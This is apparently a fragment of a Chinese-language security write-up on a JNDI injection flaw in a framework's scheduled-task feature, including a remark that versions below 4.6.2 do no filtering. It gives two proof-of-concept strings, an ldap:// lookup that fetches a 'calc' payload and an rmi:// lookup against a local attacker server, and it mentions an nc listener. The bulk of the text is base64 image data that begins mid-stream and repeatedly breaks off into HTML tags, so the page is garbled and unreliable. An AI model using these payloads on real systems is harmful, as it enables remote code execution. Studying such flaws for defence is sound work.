v6Mhy694biGNNFEXMLaxSLtfYvGmAVCoBCkzDwLLMq7I+IYQQQgghhBBCiHfL61damQ727b+KcpLtJnR+nfDMfmjVzk2jmzXC6YOYvQ9D1EQl0ujKi4TNJMocQLcCtNLoVhUdxChfYXZuBjNC2S5xq4Q5uBNMDypnQGdR6XboAoDhoByfYEFj39qBMh3MgVtQdjfh9HOYOz6NPTaKskyixUnCxRbKcdCGCXYfZt6BYIkwjtEozN7tEDaIWxpME2Umzu/LVTqwS8vrHDw0iePY3HVHe3TEk6dmOXpsGqXUuc7Z3w7TNDDNdrO/MIpwbAvHsXBdRyqrhBBCCCGEEEII8Z525dBKGWCaxMuTKC/dDq2CJrpeRNnJ9vOADkPisAPTXiZeKRH7EdYtj2B4PtHCEtHCUbSXRldmMUb3oOuLaOWCitFRgLIVulEEMwWNBnhdUDyOSnahvAjtV8AdwdnmoKuTxFYIURlda2L03Y85ug1dOo6u+uighdE/DCiwkqiEC2iw0xheAp3tRSnQpo1KXWYEPx1BVCOuVzFsF2V5qOwwlpcDFRLXy+gLArvXsrpWJJNOMj4+RE9PB3qjKeXpM0usrZeuSmglhBBCCCGEEEII8X51xdBKeRmMzk1Ep/cBF4yWZ7mYW3agbK89XbIDa9vNqKgGqa2YqSzKbXdqbvZDvHIMHRoY+dshlYb6PLpSRIchRnYII3t2hTaqewuWCiFs4Oy8H0UNQyVQiTxGwiGuzKMjBUEaY7API99uahdXbbQKMLs3ozKDG9vVi7NnEAwDVEDsK+h7BCOVBR2jW/VL99k0MdwK4cwJ7BvzKC+J6t6GjYawQjT7CtrPo5wrN7kbGx3AMAwSifZxUErR3Z0nk0kSxVceefCtUCgcx8Zx7HPVV0IIIYQQQgghhBDvVUpr/dot4sKAuLaGrhXQF4RWyrAx+7acq7QSV18YxjRbPralXn/iDVEUYxgKpd74PEIIIYQQQgghhBDXG9d1Xye00hp03P65iNromF28U+JY0/IDDHW1etkSQgghhBBCCCGEeG9wXff1+rRSoExARp97tymlcGyLMAyu9aYIIYQQQgghhBBCvOukfd91Sqn2jxBCCCGEEEIIIcQHkYRWQgghhBBCCCGEEOK6I6GVEEIIIYQQQgghhLjuSGglhBBCCCGEEEIIIa47MgTgdUxrCEIZPVAIIYQQQgghhBAfLK4LSmstqch1SmtNFMnLI4QQQgghhBBCiA8WyzIktBJCCCGEEEIIIYQQ1x/p00oIIYQQQgghhBBCXHcktBJCCCGEEEIIIYQQ1x0JrYQQQgghhBBCCCHEdedNjR6otT73I4QQH1RKqXM/QgghhBBCCCHeGW86tAqCQEIrIcQHmlIKy7IwTfNab4oQQgghhBBCvG+9qdAqiiJM08Sy3tRsQgjxvhKG4bnzoRBCCCGEEEKId4b0aSWEEG+SUk
<p blockindex=46>poc：</p>
<pre blockindex=47><code class="hljs language-php">javax.naming.InitialContext.lookup(<span class=hljs-string>'ldap://127.0.0.1:8085/calc'</span>)
</code></pre>
<p blockindex=48>nc监听端口</p>
<p blockindex=49><img src=data:image/png;base64,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
<p blockindex=50><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAB3wAAAMiCAYAAACFSbInAAAgAElEQVR4nOzde1xU953/8Rei4oqCJlAvRbGhiBCbQOoutFipMU4TI2q3JlRtamtzURuLG2htf27TJPvLr3WFrlQbXNvadVO1RtqKqJvFmgQrCTxqA7lBkNKKIV6CSQTEOCrM748zA3M5c+EmYN7PPvIozLl958DM4Hmfz+cb9N75FhsiMuBE3jyqv4cgvaTx/Yv9PQQREREREREREREREblBBdlsNgW+MmBZrdb+HoKIiIiIiIiIiIiIiIjIgDWkvwcgIiIiIiIiIiIiIiIiIiLdo8BXRERERERERERERERERGSQUuArIiIiIiIiIiIiIiIiIjJIKfAVERERERERERERERERERmkFPiKiIiIiIiIiIiIiIiIiAxSCnxFRERERERERERERERERAYpBb4iIiIiIiIiIiIiIiIiIoOUAl8RERERERERERERERERkUFKga+IiIiIiIiIiIiIiIiIyCClwFcGrMb3L/b3EEREREREREREREREREQGNAW+IiIiIiIiIiIiIiIiIiKD1NCebGx9+b89HhsSNp5h0y092a1In2hubgUgLCy0n0ciIiIiIiIiIiIiIiIi0ju6Hfhefj6Hq2/+r+myK688yz/cn8OQ8HHdHpihktac79Lu+DZ6I6PvSwTOcukXBQx56FFGuB/7hUys73/Tvp6Zs1z6xQO0NXU+EnTHs4yKKKCluNB8k/A1hDy0gOEmY8NymNDbAns2V17IxPpqlcm+/4lrbmPqGNed4wPbufj1cvkbANw9N6WfRyIiIiIiIiIiIiIiIiLSO7od+HoLewHam87y0XPZAYS+boGuh4UMyz6MZz3meIbG1GLdW8kIl2D3LNfqqhiS7C3s7TTEHtRe3juXa44HzYLd17fQUu65/eW99nEXz6Wl2MtBOgJqL4+57XuIU3jsMi4fOkPkBIK/lsdI53z49S20lE/ufE5n93PxN5uxeRtbAF5/s5ampot8ITXJ53p/Kq0A8LueiIiIiIiIiIiIiIiIiHRfj1o6+xJ46GsSVAZg+J0/4NovHqD19cME18zlar3TQi8h7JAuVOM6XDlfC2NmuoTAl/c6jreQYdleqoxfheAvmASq9d+lJcfp+/A1HV+2u4076OYAB+kR3joF6U77Z/wCRmUvsFdBB7hvN01NF/lTaSVNza3Mv2em6To7f/s/1J86y22fie3eQUREREREREREREREREQkIH0W+EJn6Bv60LN9sPfxjExeSEtNJaH3HWYE9qrYmwNrg+wcrroHq66tlxMI/lpnmHp571yuspHR2YnGejmZtHcE1o520T5C7F6u8PV0lku/+C62O55ldESBaXVyT9w23Qhx/1RaCeAR+jrC3ujJ470GwiIiIiIiIiIiIiIiIiLSO/o08AUj9G175zWCJ93uZY0q2n4zl5YA9uVRoXvbo4x2fH92P9fqFzL0vvE4gldbsveKXtOWznbD78xj+J0mG72+hWs3P8toe6A8/M48hkdsocVp/EF3dC53N/zOPNd20bc9yuhP7OdiTgFDsw8zwl6Za7vjWUbdd9jXqfBhPCMfsm/7ejd34UN4+Civoa9z2Lvsq/f0/sFFRERERERERERERERExEWfB74A7U3nCJ7kbalRDTvkTz6qc1/fQksxBDtVvxotlTsraS//aTPc8axHe+UuadqMNWczVo8F9tbNtz3KqI7HzOcftr36AC2vmrR6fn0LLcWFXg99NaeQq45vXn2AllftX3dzrt2+ZBb6NjW1KOwVERERERERERERERERuc56HPiOzMgxrd5tbzrH5ec30vbOawHtZ0TcQlqKC7h8p/ucuGe5VF5IkFOYO+I+RzXsr+2PVNJWD7Z6p6AU3ObyDWCu4PCFDKEQnCuDX99CS/lkhnS0a3asvJBh2YcJNdvP2f1czHGqWo7eyOj7HmX0bY86rWQPjMPXEJIOV36zGdsADHe9MQt9B0rY+3LZGzS3tHo83tBwDoDnD5eZbvf55M8QFmb6ExUREREREREREREREREZkHoc+Pqu3u2C2x5lWM1cru6dyQin0PPKCz+mjTWE+JyXN5HQbOcWyP5bOpvP4TuZ4JgErtZUwm3GGC7XFBIU8yzDGc/wh0zaLNsD4ZCHFnS2ax6/gFHZC1xW66xKdnANjIdnLzD2lfNd1/1Hb2T0fbhVE5tUEPeD8PBRnHrnrNP3o/txNIbm5lbTsFdERERERERERERERETkRtTjwPfy8xu5/PzG7m189hQ2Ygm2Z7kj7ttIW853adlrr3R9fQvWV2MZlr3Ade7bXuBtDt8hd36TITm/5tLZPEa+t4Wr9QsZdl9n2OwZ3BpMW0E7VeyOuO8wQ17IxPpqlX1hodHGOXwNIQ/9E9dcqocNQXd0trh2DbQHBuc5eydPGu8xp29/CAsL5e65KabLHJW93paLiIiIiIiIiIiIiIiIDDY9DnyHhHuvvG1vOut1GQDvncIWPdOpUjWR0OyNtOZ8l5YcCLSS1VsI69rSGXsA66tS2D4GSywtRZlcbKpiiOWwy/GNdtIO3iuJr7yQyRVMjuXctvn1LbSUdy5yhNCO53TNc+sBwznsXfbVe2hquggwIEJfERERERERERERERERkY+LHge+oQ8963XZpT3ZPubwtc/NG7PYx94LufbCYvDZztk9hLXv22tL50psTQkEfcLHDj8xmaCmQmzhaxjupSU0wOW9Dxjtpk3WaX+/Cm72fPxG4B72gvmcvgp9RURERERERERERERERPpWjwNf68v/zdBJt5suszWf877h6wW0NS1kmCPMPbufi7/ZjA2j0nX0bQCVtOY8QMurrtWvV17IxPoqBFvm0P6bTC59LY+R/gp3O457jPbwOYR4W98+jiDLYYafz8Sac4Rr7vt/fQstxYVGte5DiWY7of0CBMWZHKTeUb1sF76m48t2t4rkoAEYGB/4n2MeYa+DQl8RERERERERERERERGR66vHge+Vl5/lCt6rfL25XFNotEt2hKcsZFi2e6VuYsfctZf32sPQ6I0MA4IdIextk2nNmUuL2UFMWjoPo5AhyYfhhUxa7PPpDnEEs02bsf4mgeCvHbYHvHkMv7PS2H/4GkKST2F1BL3Zj7o+H/e20uHmlb/XtaXzbY/ag/PeEx4WyhdSE/lCapL5cqfQNzx8VO8eXERERERERERERERERERcBNlsNlt3Nrz8fA5X3/zfgNYdbQ9tpfcZ1c5VQEJnCO6NUxW1S/A8QDW+f5GwUcN6bX/PHy4D4O65Kb22TxEREREREREREREREZH+1O3At73pHG3vvEZ781mf64V8/uvdGphIbwe+zc2thIWF9tr+RERERERERERERERERPpbtwNfkb7W24GviIiIiIiIiIiIiIiIyI1mSH8PQEREREREREREREREREREukcVvjKgWa3W/h6CiIiIiIiIiIiIiIiIyIClCl8RERERERERERERERERkUFKga+IiIiIiIiIiIiIiIiIyCClwFdEREREREREREREREREZJBS4CsiIiIiIiIiIiIiIiIiMkgp8BURERERERERERERERERGaQU+IqIiIiIiIiIiIiIiIiIDFIKfEVEREREREREREREREREBikFviIiIiIiIiIiIiIiIiIig9TQ/h6AiC/NF6/29xBEREREREREREREREREBqwgm81m6+9BiIiIiIiIiIiIiIiIiIhI16mls4iIiIiIiIiIiIiIiIjIIKXAV0RERERERERERERERERkkFLgKyIiIiIiIiIiIiIiIiIySCnwFREREREREREREREREREZpBT4ioiIiIiIiIiIiIiIiIgMUgp8RUREREREREREREREREQGKQW+IiIiIiIiIiIiIiIiIiKDlAJfEREREREREREREREREZFBSoGviIiIiIiIiIiIiIiIiMggNbS3d9jW1sbly5e5du1ab+9aREREBpmhQ4cyYsQIgoOD+3soIiIiIiIiIiIiIjekIJvNZuvNHba2tjJs2DCGDx
<h2 blockindex=51>&lt; 4.6.2</h2>
<h3 blockindex=52>rmi</h3>
<p blockindex=53>上边的分析是拿4.6.2版本分析的，在创建定时任务时会判断目标字符串中有没有rmi关键字。后边有拐回来看一下，发现在4.6.2版本以下，在创建定时任务时是没有任何过滤的。</p>
<p blockindex=54><img src=data:image/png;base64,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
<p blockindex=55>所以在补充一个rmi的poc：</p>
<pre blockindex=56><code class="hljs language-php">org.springframework.jndi.JndiLocatorDelegate.lookup(<span class=hljs-string>'rmi://127.0.0.1:1099/refObj'</span>)
</code></pre>
<p blockindex=57><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAB4AAAAOnCAYAAADBRFtbAAAgAElEQVR4nOzde3iU9Z3//+d9zymTyeRMSEJICJBwCIgCKmCFUopii7ayrcVua7cH/e1ebg92f1281l7ur1y6l3a3h21//tqv1nVrPVDbxapUsSylaAWsCCrHJJwSMAmQ82SSzOm+f3/MBHKYQKCRhPh6XHKZue/7c8/nnjuMXvOa9/tjVB86bCMiIiIiIiIiIiIiIiIiIpc959/+audIz0FEPmDu9JyRnoKIiIiIiIiIiIiIiIhcAuZIT0BERERERERERERERERERIaHAmARERERERERERERERERkTFCAbCIiIiIiIiIiIiIiIiIyBihAFhEREREREREREREREREZIxQACwiIiIiIiIiIiIiIiIiMkYoABYRERERERERERERERERGSMUAIuIiIiIiIiIiIiIiIiIjBEKgEVERERERERERERERERExggFwCIiIiIiIiIiIiIiIiIiY4QCYBERERERERERERERERGRMUIBsIiIiIiIiIiIiIiIiIjIGKEAWERERERERERERERERERkjFAALCIiIiIiIiIiIiIiIiIyRigAFhEREREREREREREREREZI5wjPQERERERERERERERERER+fBwdTVxes82InX7aH//KKHW0xDuwjTB7/eTkjMeI6uYtNIr8E6ZRyw1d6SnfFlRACwiIiIiIiIiIiIiIiIiH7jstioKmt+hu+Ydqt54jyyfTbQlimEb2Da4XQY+R4iUrtOcPHGMU7v+iC/FQ+mCZZjTlhIumDXSl3BZUAAsIiIiIiIiIiIiIiIiIh+Y8XYLC+x9TEw7xcnudt5zmqS4TTq6I3i9JuEwRKM2kwudxCyDSAjAxjRMbAyiJyrxNBwhc/JsMpd/jWNt1khf0qimAFhEREREREREREREREREPhDj6ndQcHwTtRiccDgwDJtoNIaBjW2AATgcBiYm41NdhO0MCibl43SabHn7AB2RKG4zRGdXJ9bRd1hU8yIt7Tm0FS8c6UsbtcyRnoCIiIiIiIiIiIiIiIiIjD0Tj7/K5IY/4nabOJ02hhnFsmJgQzgG3d3Q3W3jdph8fEYaRsTJvKmlFGVnUOAJ8d/fvZ1rp2cRjTQStQJ0hwJs/d9XKTnxJ/KP/GGkL2/UUgAsIiIiIiIiIiIiIiIiIsOqsOZl8hvfwjBNDMMEDLDjfwwMAEwTTIfJzAke5hWb5Kc5SXc7qG9sYsL48eQVFPPFRdMpz88iGnMQDIbpDkXIzkrj6tQmro3tH9mLHKUUAIuIiIiIiIiIiIiIiIjIsEk99EfyTv4FMDBMAwyD7lCESMQiGo0SjkRISTFwp5ikpBh8dPZEMFJwmAZtbS04rSiZmXlU79xKuPV9sjwG4ZBNZ1cMKwbZ2VlMLC7gb8rdzDaOjfTljjpaA3gE/O2XbuUbpa7zHxiNEegMsmfffv791VrqPvipJVW4dBm/XpKDGwifOso9/99b7DzPmPk3r+BH89JxA4HD7/Lx9lLevCoduk/xk4f+xNOXYN4iIiIiIiIiIiIi0lfZ5HwmOUPsrWqhfhjON3fJXL5d5qcg1eTYnh18dUvXeces+btlrMyGjuPV3PSb2vjG8X7KTgaoBlZ/dgl3T3QCQTb8cAcPAwUTs0g73kL1MMx5pBRMzGOWN3JBr33BjQt4bpqXjq42Nry8i0feB/CyvCKDvfsaqKeYH99dxjwP0FzH9f99ACYXsdrdxLqDXWef13+R9YDdQTYdCVzc2EttfA7Lc/plL0nmXzY5n0kpfQ/raGpg+8kLeK7Js3nu03kUAFhdbHpxG2uPDH74h+YeJHjbasmrfgkjNx3DADMRAqekuAkEOjFNg/aODiJhsGImeZlurFiYujZo7ooyvRiWzq8g1n2a/VVH8XktUk2DFI8Td4pBht9DTnYW48blkZ6Zw6fGHaXmRBrt7ty/YtZFfP9rZczzAs11LHu6su/uGxfweoUPiPL21q186+1k5yjjx1/LgROn+d/dh9nQ8zuVmcXqq0tZOdUPh97jC5ta/op5Do0C4BEWDseS7zAduJ0O/OnpLFq4gCfzvdzxy8oRCYHrtuzg